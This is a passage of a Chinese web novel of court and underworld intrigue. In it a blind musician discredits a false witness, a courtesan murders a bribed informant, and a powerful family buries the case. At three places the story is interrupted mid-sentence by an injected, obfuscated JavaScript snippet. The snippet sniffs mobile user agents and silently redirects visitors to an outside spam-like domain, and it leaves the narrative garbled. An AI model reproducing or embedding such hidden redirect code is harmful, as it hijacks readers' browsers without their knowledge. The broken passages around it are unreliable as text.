他声音陡然一沉，带着不甘的憋闷，“柳家根基深厚，阿爷如今又…态度不明。我若莽撞行事，非但救不了那被冤枉的护卫，只怕打草惊蛇，反害了徐青兄弟性命，甚至牵累阿爷！” “霈然兄，你心思剔透，智计无双。此局阴险，牵涉甚广！万望你想个法子，破开这迷障，救那无辜之人，还徐青兄弟一个公道！那厮上回还累你受伤，千万莫放过他。” 他双手按在琴案边缘，身体前倾，咬牙切齿，语气愈发激烈。 徐青抽噎不止，廖怀怒发冲冠，若嵁却在满室滞闷里，指腹轻敲了一下琴身，低低笑出了声。 那二人面面相觑，不知她这笑意从何而来。 “二位仁兄勿怪，”若嵁唇边那抹弧度带着一丝冰冷的荒谬，“此事当真是无巧不成书。我方从翠云阁归来，红绡姑娘也曾托我助那位被冤入狱的虬髯客脱困。偏生巧了…将他在这个罪名上钉死的证人……” 她空洞的“目光”仿佛穿透了陋室的墙壁，投向一侧，声音清晰却带着不易察觉的讽刺： “有一个，便是隔壁铁匠家的长子，少年镰生。” 廖怀和徐青俱是一震。 14. 碣石调·幽兰（十三） 廖怀眸中精光暴涨，徐青则惊疑不定地望向门外。 “事不宜迟。”若嵁扶案起身，动作利落，缚眼白纱在昏光中划过一道微弧。“真相便在咫尺。廖公子，徐捕快，随我来。” 她未执盲杖，脚步却敏捷笃定地迈向破旧木门。 廖怀与徐青对视一眼，立刻紧随。护卫们得了眼色，无声散入巷道阴影。 隔壁铁匠铺门户大开，炉火虽熄，余温犹存，铁锈与焦炭的气味弥漫。 一个筋肉虬结的中年汉子正挥汗捶打烧红的铁胚，“铛！铛！”重锤震耳，火星四溅。 角落，少年镰生埋头整理工具，闻声警觉抬头。他面容稚气，眼神闪烁，触及若嵁身后的廖怀与湿透皂衣的徐青，脸色瞬间煞白，动作僵住。 铁匠停锤抹汗，疑惑道：“若先生？您这是…？”言语间带着朴实的尊重。 若嵁朝铁匠方向微颔：“铁匠大叔，叨扰。有件人命关天的紧要事，需问镰生。”声音温和，却清晰穿透四方余响，带着不容置疑的穿透力。 镰生身体一颤，下意识想缩到父亲后面。 廖怀强压性子，盯紧他的一举一动。 若嵁听闻响动，面向镰生，语调平稳：“镰生，你曾作证，指认虬髯在阿松看顾我期间破窗闯入，且尾随阿松，是也不是？” 镰生嘴唇哆嗦，眼神躲闪：“是…是看见他撞破窗子跳出来……” “哦？”若嵁指尖抚过覆眼纱带，语气无波，“那夜，我已然清醒。自柳衙内在翠云阁伤我后，便命虬髯客守在屋外，名为‘保护’，实为监视。” 她略顿，“后有歹人欲对我不利，惊动门外虬髯客。情急之下，他破窗而入，是为救我。” 若嵁再次停顿，容众人平缓心绪，半晌才追问道：“镰生，你仔细想。阿松，是在虬髯客之前，还是之后进来的？” 镰生额头冷汗渗出，脸色惨白。多少时日前的事了，他只模糊见人破窗而出，又闻阿松声，便以为是争执。此刻被亲历者点破，证词根基瞬间崩塌。 “我…我…隔壁院子太乱…我……” 镰生心神不宁，努力回想：“我…好像听到阿松和谁门口说了几句…然后阿松先进屋…不对…先是大胡子很急地撞破窗冲出来…阿松后面……” 这顺序，与构陷虬髯客‘破窗闯入行凶’截然不同！虬髯客行动先于阿松，那所谓纠缠、强迫的证言便无所立足。 “我…不知道…他们只问我看到谁破窗…没问那么细…也没提这些…”镰生语无伦次，带哭腔看向父亲。 铁匠早已放下铁锤，脸色铁青。他虽粗人，却也听出其中阴险，一把将儿子拉到身后，大手按在镰生颤抖的肩上，沉声道： “若先生，俺们小户不懂官事。但俺儿若真被人当枪使，冤了好人，俺不答应！镰生，把知道的，老老实实说出来！天塌了，爹顶着！” 若嵁知种子已种下，且在这位正直父亲见证下生根。她微微颔首，语气带着一丝不易察觉的算计与笃定： “镰生，真相需大白。你今日所言，关乎一条性命。他日公堂之上，望你秉持本心，将所见所闻，原原本本道出。那被冤者生死，或在你一念之间。至于其他的……”她话留余地，“天知，地知，你知。” 当即不再多言，转身示意离开。 廖怀深深看了镰生一眼，目光审视带压，化为一声冷哼，拂袖而去。 徐青则对铁匠父子抱拳，眼中同病相怜的苦涩与微弱希望。 巷中风起，吹动若嵁衣袂。远处隐约传来更梆声。铁匠铺内，打铁声再起，沉重有力，似锤打不公世道，也似锻造一颗亟待淬火的证人之心。 “如何？”廖怀低声急问。 若嵁唇角微扬，纱带下弧度清冷锐利：“破窗之伪已破，时序之谬已明。此子虽惧，然其父刚直。待风浪再起时，他便是撕开那谎言一枚利刃。” 末了，声音轻若自语，“只是，真凶逍遥，冤者囹圄，这夜，还长。” “那我们还能做什么？”廖怀急切道。 “等。”若嵁莞尔安抚，“廖公子，令尊担忧未必无的放矢。天色不早，莫令他再悬心。” 语罢，又转向徐青，温言劝慰：“前途坎坷，却非绝路。徐捕快，放宽心，真相总有昭雪之日。” 夜风拂过窗棂，吹得烛火摇曳，在他们脸上投下深深浅浅的忧虑。同一片浓稠如墨的夜色，流淌过数条寂静的街巷，却在翠云阁顶层的暖阁里，氤氲出截然不同的光景。 暖香浮动，烛影摇红。 红绡斜倚软榻，指尖慵懒拨弄着案上古琴，流泻出几缕不成调的靡音。她眼波流转，似醉非醉，眼角一点泪痣在烛光下平添几分楚楚。 侍女垂首屏息，只道姑娘今日心情不佳，连惯常的曲子也懒得弹全。 “我养伤这几日，”红绡开口，声音柔媚得能滴出水，带着一丝恰到好处的慵懒，“可有哪个丫头，得了什么意外的‘体己’？或是家里…突然宽裕了？” 侍女心头一凛，娘子虽似随口发问，可那双看似蒙眬的眼波扫过来时，竟像能透过皮肉直剜人心。 她慌忙凝神回想：“回姑娘，没…没听说什么大的动静。倒是阁里的龟公，这两日走路都带风，私下里跟人吹嘘，说是…不知傍上了了不得的权贵，连…贱籍都能脱了。” “哦？”红绡指尖在琴弦上轻轻一划，发出一声短促的锐响。她唇角勾起一丝若有若无的弧度，眼底却无半分笑意，“原来是他啊。” 红绡缓缓坐直身子，慵懒尽褪。视线掠过屏风，瞥向绣床上睡得沉酣的柳衙内，眼底是遮掩不住的讥诮。 若非这蠢物留着还有大用…… 腕间抓伤隐痛。她无声走至妆台，取药膏沿伤痕涂抹。铜镜里映出她陡然锋利的眉眼，杀机即现。 她铺开一方素笺，提笔蘸墨，字迹娟秀，力透纸背。 将纸条卷紧塞入蜡丸，铜哨轻响，召来一年轻男子。他五官深邃，身形疏阔，是标准的混血长相。 “昭翎。设法去见若先生，将此信内容告知。”红绡递过蜡丸，“说待事了，我自会向先生赔罪。” 昭翎颔首，悄无声息没入夜色。 红绡对镜，将鬓发抿得一丝不苟，换上窄袖束腰的夜行劲装。镜中人褪尽妩媚慵懒，眉宇间凝着淬过寒铁的杀气。 亥时初，翠云阁后巷 龟公在值房外焦躁踱步，脸上贪婪压过不安。 方才收到红绡侍女传来的“密信”，言道柳衙内醉酒，但已为他打点好脱籍文书，命他即刻于西墙桂花树下等候交接。 泼天诱惑，彻底碾碎了他最后的疑虑。 月影西斜，桂树阴影浓重。 “这里。”清冷的女声自身后响起。 龟公循声回头，只见红绡一身玄衣，悄无声息立在桂树虬结的阴影里，宛如夜色凝成的刃。 “姑、姑娘？！文书……”龟公堆起谄笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533410|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 红绡不语，素手平伸，掌心空空。 龟公一愣，冷汗涔下：“您…您这是何意？不是说柳衙内他……” “柳衙内？”红绡轻笑，寒意彻骨，“他自身难保，如何保你？收他银钱作伪证时，可想过今日？” 龟公如遭雷击，转身欲逃。 红绡身形欺近，左手扣住他后颈要穴。龟公浑身一麻，挣扎的力道顿止。红绡右手并指如剑，快如闪电般在他喉间软骨处重重一戳。 “呃…嗬嗬……”龟公眼球暴突，喉骨碎裂的闷响被扼在喉咙深处，只余下气管漏风的嗬嗬声。 肥胖身躯被死死按在冰冷的树干上，剧烈抽搐，徒劳抓挠树皮，眼中最后映着红绡无情面容。 不过瞬息，挣扎停止。 红绡松开手，任躯体软倒。她俯身，用龟公汗巾擦净其颈间指痕，从怀中摸出伪造的“脱籍文书”，塞回前襟。 随即，她抓住尸身腰带，运力一提，竟将拖着这百多斤的汉子，步履沉稳地没入暗巷深处。 离去的昭翎穿梭于黑暗，及至抵达若嵁居处，发出一道轻响，如落叶触檐。 “若先生。” 年轻男子的声音响起，低沉清晰，带着难以忽视的异域腔调，突兀地刺入这片寂静。 若嵁身形未动，覆眼纱带转向声源，声音平直无波，暗藏审度：“门未闩。报上名来。” 门轴轻转，昭翎闪身而入，反手迅捷无声地掩上门。 他并未立刻靠近，而是站在门边阴影里，唇角挂着若有若无的兴味，目光飞快扫过屋内陈设，最后落在若嵁脸上。 “在下昭翎，奉红绡姑娘之命。” 昭翎敷衍地行了个简洁的礼，姿态恭敬，但那丝玩味感并未完全褪去。指尖一弹，一枚蜡丸精准地落在若嵁面前的案几上，“姑娘吩咐，将此信内容口述于先生。” “念。” 昭翎上前一步，捏碎蜡丸展开纸条，清晰念道： “证人伏诛，尸悬市井，可作惊堂槌。” 念罢，他抬眼，饶有兴致地观察若嵁的反应，补充道：“姑娘还说，待此事了结，她自会向先生赔罪。” “赔罪”二字在他口中滚过，带上些许不易察觉的调侃意味。 屋内沉寂，烛芯噼啪。 若嵁在满室松香中，嗅见了艾蒿的清苦气息。她若有所思地抬起手，状似整理鬓边碎发，动作间，覆眼的白纱却极其微妙地偏移一线。 昏黄烛光恰好短暂地映照出昭翎那带着鲜明异域特征的侧脸轮廓。 纱带复位，严丝合缝。 “尸悬市井……”若嵁轻声重复，声音听不出喜怒。 她“望”着昭翎的方向，唇角勾起一抹极淡、近乎冰冷的弧度。 极其模糊的画面，仿佛来自浓雾深处的熟悉感，如同水底暗影般在她失忆的混沌中一闪而过，快得抓不住源头。 “知道了。”她开口，语气平稳，带着一种疏离的掌控感，“告诉红绡，她的‘诚意’，我收到了。至于‘赔罪’，” 若嵁意有所指，“待尘埃落定，再做打算。你回罢，莫要引人注目。” 昭翎眼中光芒更盛，如同欣赏完一出好戏的看客，唇角戏谑加深，利落颔首：“是。” 再无多言，身影如融入夜色的风，悄然而退。 门扉合拢，隔绝外界声息。 若嵁独自静坐。窗外，雨声不知何时又淅沥起来，敲打着沉寂。 15. 碣石调·幽兰（十四） 天色将明未明，翠云阁后巷入口处，一声凄厉的尖叫撕破了清晨的薄雾。 龟公肥胖的尸体歪倒在腐臭的秽物桶旁，脖颈以极为诡异的角度扭曲着，面色青紫，暴突的眼中凝固惊骇。 更扎眼的是他半敞的前襟—— 一张被撕扯过、却仍能辨认的“脱籍文书”半露出来，末尾处赫然是柳衙内张扬跋扈的画押。 “死…死人了！” 早起倒秽物的婆子瘫软在湿滑的地上，手里的木桶“咣当”滚远，浊物泼了一地。她指着那扭曲的尸身，喉咙里挤出不成调的嘶喊。 杂役、送货的脚夫闻声围拢，狭窄的后巷霎时被挤得水泄不通，惊呼和倒抽冷气此起彼伏。 “哎呦！”一杂役看清尸体，吓得紧捂住嘴，眼珠瞪圆，“这…这不是翠云阁的龟公吗？这可是自家后门？！” “咋就出这档子事？”另一人声音发颤，连连后缩，唯恐沾上晦气。 送货的脚夫胆子大些，凑近了点，混浊的眼睛扫过龟公怀里：“快看！他怀里揣着甚玩意儿？像是…像是张契纸？” 略识些字的落魄书生借着熹微晨光，依稀辨出几个字和那独特的画押，失声低呼： “脱…脱籍文书？末尾…末尾那签押…看着像是…柳衙内的。”他声音不大，却似惊雷落在众人耳中。 刹那间，周遭空气凝滞。所有目光都死死钉在那半露的、沾着污渍的文书上。 “嘶——”一片倒抽口气的声音响起。 方才还出声的书生面白如纸，嘴唇哆嗦着，声音压得更低，带着后怕及“果然如此”的了然，“苍天在上，这…可别是…可别是昨儿个替谁办砸了差事，被……” 未尽之言在众人心照不宣的恐惧眼神里弥漫开。 “嘘！噤声，不要命了？”旁边的杂役慌忙拽他袖子，惶恐地左右张望。 送货的老汉啐了一口，声音掺着看透世情的冷硬：“办砸差事？哼！依俺看，这分明是…晓得太多，又揣着不该揣的东西，碍了贵人的眼！教人灭了口。” “个恁货色，能领啥差事？”有人嘟囔着。 “前两天俺还看他去了趟衙门，不会跟阿松有关吧？”又有人猜测。 议论声顿时更甚，“不说是柳衙内的护卫？莫非…这案子另有蹊跷不成？” “莫不是…冤枉了好人？” “这会儿哪有空琢磨这事儿！？报官…得赶紧报官吧？”有人提醒道。 “报官？”老汉冷笑一声，裹紧衣衫，“报官？等着吧，看谁敢来收这烫手的尸首！这趟浑水，沾上就是一身腥臊！散了散了，都散了！莫惹祸上身！” 他嘴上驱赶，脚却像钉在地上，眼睛粘在文书和尸体。 晨雾弥漫，带着腐臭和寒意，那张文书的一角在污浊的空气中微微颤动，像无声的控诉，又似狰狞的嘲弄。 “灭口…”、“柳衙内…”、“脱籍文书…”，这些词在人群中恐惧而愤怒地低语、交换、发酵。 那具扭曲的尸身与半露的纸片，如玄铁磁石般吸紧众人目光，连清晨最后一缕暖意也被尽数抽离。 窗外市井的喧闹声里，混着异样的嗡嗡议论，透着惊悚与窥探的热意，穿透翠云阁的雕花窗棂，将宿醉未醒的柳衙内从昏沉中拽了出来。 他猛地从锦被中坐起，宿醉的头痛被彻骨的寒意驱散，取而代之的是惊怒交加。 “放屁！！”柳衙内几乎是嘶吼出声，一把掀开帐幔，脸色铁青，胸膛剧烈起伏， “哪个混账在造谣？爷昨晚就在这儿快活！杀他作甚？！一个腌臜龟奴，也配脏了爷的手？”他气得浑身发抖，恨不得即可冲出去撕烂那些嚼舌根的嘴。 然而，下一刻，更彻骨的惊惧如冰水劈头浇落，激得他浑身一颤，寒毛根根倒竖。 这劳什子龟公死了。怀里还揣着那份该死的脱籍文书！这人可不就是前几日拿了柳家重金，在虬髯客替罪那档子事儿里昧着良心作了伪证的主儿？ 他的死，以如此蹊跷、如此指向性明确的死法，无异于在看似“铁板钉钉”的案子上，狠狠凿开了一道巨大的裂缝！ 王知县那边…还能压得住吗？该死…到底是何时签的文书？此时曝光…会不会牵连出护卫顶罪的真相？该不会…最终还是会烧到自己身上？ 巨大的恐慌瞬间淹没了愤怒。柳衙内只觉手脚冰凉，仿佛已经看到县衙捕快冰冷铁链的影子。 “不行……不行！得找父亲！立刻！马上！”他连滚带爬地跳下床，衣衫不整就往外冲，连身后的呼唤也充耳不闻。 回府后，柳衙内撞开正厅的门，形容狼狈，脸色惨白如鬼，额上冷汗涔涔，冲着一大清早便在厅中静坐品茗的柳守备语无伦次地喊道：“父亲…父亲！大事不好！！ 证人…翠云阁后巷…死了……怀里……文书！外面……都说是我……灭口！可孩儿昨夜明明在红绡房里，半步都没出！父亲明鉴啊！但这……这人一死，虬髯客顶罪的事……王知县那边……会不会……” 他话未说完，用作擦汗的锦帕从攥紧的指缝间“啪嗒”坠地。整个人像是被抽掉了骨头，摇摇欲坠，牢狱的铁栅就在眼前晃动。 “混账东西！看看你这副德行！”一声雷霆断喝，震得梁上微尘簌簌而落。 柳守备重重将茶盏落在紫檀几上，发出刺耳声响。他端坐太师椅，面沉如水，目光锐利地刺向惊惶失措的儿子，眸中却无半分惊乱，唯有冰冷的算计在飞速流转。 柳衙内被父亲的厉喝震得一哆嗦，而恐惧仍占据上方，犹带哭腔急道： “父亲。孩儿冤枉！孩儿是真没杀他！可…可这龟奴一死，还揣着那文书，外头都说是‘灭口’。这案子…这案子怕是要翻啊！” “慌什么。”柳守备声音低沉，镇定却教人胆寒，“此事一出，非是祸端，而是天助！”指节重重叩在扶手上，发出沉闷笃定的声响。 柳衙内当场傻了眼，摸不透父亲的心思。 柳守备唇边牵起的笑意冷酷至极，“这腌臜货色，活着便是根毒刺，死了倒得个清净。他这张烂嘴，活着指不定胡乱攀咬，死了——便永远封了口。这才算得上真正的‘干净’。” 看着儿子茫然惊恐的眼神，柳守备心中微叹，无奈地替他条分缕析。 “其一，你昨夜留宿翠云阁，人证物证俱在。这‘灭口’的脏水硬要泼到你头上，外面的那些蠢话，正好替你洗脱了行凶的嫌疑。其二，龟公死了，便是死无对证。至于他怀里那张纸……” 柳守备冷哼一声，带着十足的轻蔑与掌控一切的笃定。 “一张来历不明、死无对证的废纸，也敢构陷官眷？如今它是何身份？不过一张废纸罢了。这龟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533411|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴贼心不死，伪造文书恶意中伤，临死前还想拖人下水，谁能辩驳？！又有何人能证其真伪？！” 柳衙内听着那番冷冽又丝丝入扣的剖析，心底透骨的寒意竟似被无形之手捋顺，转瞬劫后余生的狂喜如浪头般压过恐惧，险些让他腿一软栽倒在地。 柳守备语气森然补充道： “至于翠云阁小倌那案子…哼，龟公死了，他做的伪证，更是死无对证。王知县那边，案子早已‘铁板钉钉’，虬髯客断是脱不了凶手的罪名。如今这桩“意外”……” 眸中闪掠过一丝狠厉，“也算恰逢其会，省却诸多周折。只消旁敲侧击几句，教旁人信那龟奴是伪造文书败露，或是因知晓太多江湖纠葛，才被仇家‘意外’灭口。这般，这案子便能彻底脱了干系。” “父亲英明！神机妙算！孩儿…孩儿……”柳衙内兴奋得话都说不囫囵，深深作了个揖，声线抖着狂喜，带着劫后余生的谄媚。 按父亲的谋划，与王知县所做的交易，竟因那龟公“意外”殒命，以最狠绝、最出人意料的法子作了了结。 可他刚松快些，府墙外就飘来些碎嘴议论，虽细若蚊蝇，却仍如细微的芒刺，扎在他刚刚放松的神经末梢，提醒他风暴尚未真正平息。 柳衙内下意识攥紧了拳头。 柳守备看穿了他的心思，冷冷补充道： “些许蜚语，难掀波澜。着人将府中昨夜当值仆役名册取来，再将翠云阁处需疏通打点之物一一备妥。另遣管家往衙门一行，一则探问案情动向，二则转告王大人，望其勿使宵小之辈的谣言，扰了苍梧的清静！” 他的眼神如同寒潭，深不见底。 雷霆手段立竿见影。府衙的差役以迅雷不及掩耳之势查勘了后巷，转眼就把那龟公的死结结实实定成了“意外失足”。 那张要命的脱籍文书，自然成了“拙劣的伪造品”，是龟奴“贪慕虚荣，构陷贵人”的“铁证”。 翠云阁内外，昨夜当值的姑娘小厮，乃至倒秽物的婆子，皆心照不宣闭了嘴。柳府管家更是亲自“慰问”了王知县，一番言语字字敲骨，直教人冷汗涔涔。 街头巷尾关于这桩命案的议论，被无形的大手骤然掐断了喉咙。茶馆酒肆里，人们交换着讳莫如深的眼神，低语几句便匆匆转移话题。 那些曾指着尸体惊呼的杂役脚夫，此刻也三缄其口，埋头干活，仿佛那清晨的惊悚从未发生。 汹涌的舆论潮水，似乎真的被柳家的权势，强行压回了看似平静的水面之下。而那水面之下，却沉淀着更浓稠、更冰冷的猜疑，暗流涌动，伺机待发。 暮色四合。 徐青下值后，独自一人步履沉重地寻到了若嵁的住处。他推开门扉，脸上是掩不住的失魂落魄：“若先生，此事……当真还有转圜余地？” 若嵁含笑不语，并未作答。她留给红绡的口信，已然言明“证人”二字的分量。选择如此干脆利落地解决证人，而非以利相诱堵人口舌，这倒也在她的预料之中。 念头至此，那笑意深处便悄然渗入一丝冰冷的讽刺。 贱籍草芥，命若浮萍，生死荣辱，何曾由己？不过是棋盘上任人摆弄的弃子罢了。 她指腹轻抚过丝弦，鲛纱下的眼眸寒光微闪，缓声道： “月满则亏，水满则溢，受压过甚必有反弹，且愈烈也。” 16. 碣石调·幽兰（十五） 残冬的凛冽尚未完全褪去，燕王别院的临湖水榭内，却因燃着银丝炭而暖意融融。 袅袅琴音，似山涧流水，流淌在朱梁绣柱之间。 抚琴的清癯老者，指尖流淌出的《幽兰》古调，清微澹远，仿佛能涤荡尘世喧嚣。 燕王周放离斜倚紫檀软榻，榻上铺满雪域银狐裘。他身着玄色暗金云纹蟒袍，腰束玉带。长指随琴音在膝头节律轻叩，姿态看似闲适慵懒，实如假寐猛虎，教人不敢逼视。 亭外枯荷断梗刺破冰面，隐约有几枝早春的嫩柳悄然抽芽，昭示着季节更迭的不可阻挡。 忽而—— 轻叩的手指骤然停住。周放离眼睑未抬，身形却已如蓄势之弓，宽大衣袂带起一道撕裂暖风的锐响。 侍立在角落阴影处、一直低眉顺目的青衣小厮，袖中寒光方现。那淬毒短匕还未来得及完全拔出，沛然莫御的巨力已当胸撞来。 “噗！” 一声闷哼，青衣小厮如同断线风筝，脊背狠狠撞在水榭的廊柱上，发出一声令人牙酸的骨裂脆响，旋即软软滑落在地。血肉自他口鼻狂涌而出，在地上洇开一大片粘稠刺目的猩红。 琴音，戛然而止。 琴师的指尖僵在颤抖的弦上，水榭内侍立的王府亲卫、内官，皆屏息垂首，不敢稍动。 空气沉得化不开，唯余炭火细微的毕剥声。 周放离身形回落，衣袍纤尘不染。他慢条斯理地从袖中取出一方素白如雪的杭绸丝帕，仔细地、一寸寸地擦拭着指间。 “拖下去。” 他声线平平，听不出半分情绪起伏，甚至连眼角都未朝那渐冷的尸身扫过。 “和廖晖关一起。本王倒想看看，他们能撘进多少人。” “喏！”阴影中立刻闪出两名身着玄甲、腰佩长刀的魁梧亲卫，沉默地将尸体拖离。 早有内侍提水上前，迅速擦拭地面，浓郁的血腥气被水汽和炭火暖香冲淡，但那无形的肃杀寒意，已比残冬的凛冽更深地烙印在每个人心头。 与此同时，王府典仪手捧一卷墨迹未干的粗糙纸卷，趋步近前，躬身低语：“阻拦王爷车舆之人，招了。” 周放离擦拭手指的动作几不可察地顿了一下。他接过那卷粗纸，染血的丝帕被他随手弃于一旁，如同弃履。 水榭内炭火依旧，暖香却再也压不住那渗入骨髓的寒意。 周放离展开纸卷，目光扫过其上潦草的字迹。字里行间透着一个濒死之人的仓皇与恐惧，却也带着一丝被精心雕琢的痕迹。 供状所述，与身侧典仪低语一致： 自称乃北郊军械库一小吏，名唤王五。数月前，受守备府中亲信威逼利诱，参与了一桩惊天勾当。 库中一批新铸的强弓劲弩、精铁甲胄，于深夜伪装成草料分批运出。他负责篡改入库记录，抹平账目亏空。数量之巨，足以武装数百悍卒。 初时得利，心怀侥幸，然同伙接连暴毙，死状可怖，令他日夜惊惧，如坐针毡。他欲抽身，已是不及。一次走水，混乱中他遭人暗算身中数刀，被推入火海。 幸得天不绝人，被火燎烟熏昏厥前滚入一处暗渠，侥幸未死。再次醒来，已是月余之后。身处暗室，伤口虽已结痂，但筋骨受损，虚弱不堪。 一个沙哑低沉、辨不清男女的声音，隔着一道厚重的布帘告知：待到伤愈，燕王回府之时，拦驾首告，将所知和盘托出，或可借燕王雷霆之威，求得一线生机。 此后，每日有人从门缝递入汤药饭食，却再无只言片语。他如提线木偶般被圈养、被等待。直至昨日，暗室门忽开，门外空无一人，唯有一句冰冷的“时辰已到”。 其间默下的造假账目编号，以及被伪造成损耗的器械种类与数量，与三个月前调查结果别无二致。 “‘沙哑低沉、辨不清男女’？哼，藏头露尾，其心可诛。”周放离嗤笑出声，偏头询问典仪柳守备风评如何？ 典仪躬身答：“回王爷，柳守备治军尚可，然其子……风评不佳。柳衙内疑似牵扯两桩命案，最终却都不了了之，据信皆有柳守备在后为其斡旋兜底。” 周放离指尖轻点，目光流连在粗糙的纸卷上，声音听不出喜怒：“前番军械失窃一案，及柳衙内所涉命案，皆不可仅凭单方说辞定夺。” 他将那纸卷随意丢回典仪怀中，讥诮道：“是非曲直，本王倒不介意替他们寻个说法。只是那等堵人嘴的伎俩，还是收敛些为妙。去查查，守备府牵扯的两桩命案，可还有人暗中追索之人？” 典仪应是告退。 周放离的目光投向水榭外，湖面薄冰在正午微光下泛着冷冽的碎芒，枯荷与新芽交织，构成一幅残酷而充满生机的春冬图景。 杀意已敛尽，唯余深潭般的平静。琴师得了暗示，强捺心颤，抖着手重抚琴弦。 那曲本应清逸的《幽兰》，此刻却浸着化不开的惊惶与杀意，在春寒未消的王府别苑里悠悠散荡。 不过三五日的光景，原本死水无波的市井坊陌，忽有流言如潮翻涌而至： 有人言之凿凿，指柳衙内鞭杀阿松，更传柳府曾重金封口，威逼利诱目击者，却遇上一块宁折不弯的硬骨头——那证人龟公竟以死相抗，拒不屈从。 更有甚者，陈年旧案亦被翻出： 不过月前，柳衙内于翠云阁醉酒闹事，竟将一盲眼琴师打伤，琴弦溅血，满座噤声。 民怨如沸鼎，市井间议论汹汹，矛头直指守备。官府再难装聋作哑，局面一时鼎沸。 声浪撞开北城深巷尽头那扇斑驳木门，直灌入斗室之中。 室内光线晦暗，唯有一盏如豆的油灯在墙角跳跃，勉强勾勒出一个瘦削轮廓。 窗扉微启，早春微寒的风带着巷外市井的喧嚣灌入，间或夹杂着那些刻意拔高或压低的议论声。 若嵁凭几而坐，眼覆白纱，若有所思地摩挲着一枚沁凉的棋子。 这些坊间传闻，确乎有她悄然推波的手笔。只是—— 太快了。 流言蔓延之势速逾常理，至今日已如燎原野火，烧遍了苍梧镇的每个角落。 平素对守备府之事噤若寒蝉的贩夫走卒，此刻竟也敢在光天化日之下，高声议论柳衙内的恶行。 这绝非仅是她布置在暗渠中流淌的“引线”所能点燃。 若将苍梧比作山林，柳守备便是山中恶虎。积威之下，百姓早已将恐惧和怨愤深埋心底，用沉默织就一层厚厚的茧。 现下这层茧在短短数日内，以无可阻遏之势，自外硬生生剜开道偌大裂口。 何人有此权势，竟敢不将柳守备多年积威放在眼里，戳破这维系已久的‘默契’？ 权势这般显赫，却又与柳守备断无同流之理，甚至明里暗里对着干的主儿…… 若嵁抓了把棋子撒向棋枰，黑白子如星落般散开，正要排兵布阵时，一枚黑子滑出手心，砸在旁边的焦尾琴上。 琴腹空鸣如旧年余响，惊得她指尖微颤。记忆迷雾渐散，那柄深藏的短匕骤然清晰，连它如今的去处也一并浮现。 燕王周放离。 从红绡言语间透出的蛛丝马迹，她曾推想出失忆前的部分谋划。 被救下的证人王五险些被灭口的人，如今伤势既愈，怕是早已依计拦下燕王车驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533412|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，将柳守备的勾当当场揭发了。 与周放离的两次交锋，足以令若嵁断定，他眸中难容微垢，极厌心机算计。 告发柳守备之人，来历诡秘难寻，身无片纸物证，唯凭口舌陈词。其间破绽百出，明眼人皆知身后必有推手。 然此人既能在燕王驾前露脸，便已算不负所托。至于其身家底细、所言真伪，燕王自会探寻。 周放离这一番恣意妄为，果然点燃了滔天民意，那火势熊熊，直将所有遮羞布烧得一干二净，越催越猛。 黑子“嗒”一声轻响，稳稳落在棋枰天元之位，带着一种洞悉全局后的冷冽。 残局中，白子却陷入全面合围态势。 县衙值房 灯烛昏黄，王知县那张保养得宜的脸在光影下虚浮惨白，透着异常的浮肿。他猛灌一口冷茶，冰棱子直坠入腹，激出个寒噤，冷汗洇湿了官袍领口。 “完了…彻底完了！”他狠命攥住心腹书吏的衣袖，指节泛白，“柳衙内那桩事闹得这般大，迟早要捅到燕王驾前。天塌了！你我这颗脑袋，怕是保不住了！” 书吏身形干瘦，深眼窝里的目光却异常沉着。他从容掰开知县嵌入皮肉的手指，走至堆满卷宗的公案旁，枯瘦手指精准抽出一册。 正是“翠云阁小倌阿松之死”的卷宗。 昏黄灯光映着工整字迹。 书吏将卷宗重重拍在知县面前，指尖点着“凶犯”虬髯客的名字，声音带着刻意嘲弄： “案发时间、地点、人证供词、画押指认、验尸格目…一应俱全。虬髯客招供画押，卷宗之上，堪称‘铁案如山’！” 书吏又抽出几页文书，“目击证词、苦主具结、凶器登记…物证、人证、口供，环环相扣，卷宗之上，绝无纰漏。” 王知县微愣，眼中惊惧更甚：“你…你疯了不成？这‘虬髯客’本就是……” 书吏抬手打断。 “正是！这本就是个‘糊弄鬼’的玩意儿！柳守备只手遮天，强压下来，命我等做成死案，堵悠悠众口！我等微末小吏，彼时除了屈从，还能如何？难道以卵击石，白白送了性命不成？” “王爷明察秋毫，看到这份卷宗会怎么想？”书吏嘴角勾起一丝冰冷的弧度，循循善诱： “他必然动怒！怒那柳守备竟敢目无王法，弄权乱政。怒这“铁案”做得这般“漂亮”，实则欲盖弥彰。 继而必生疑！疑这卷宗背后，有多少柳府买通或胁迫的人手？更疑……柳守备为保其子，还做过多少腌臜勾当！” 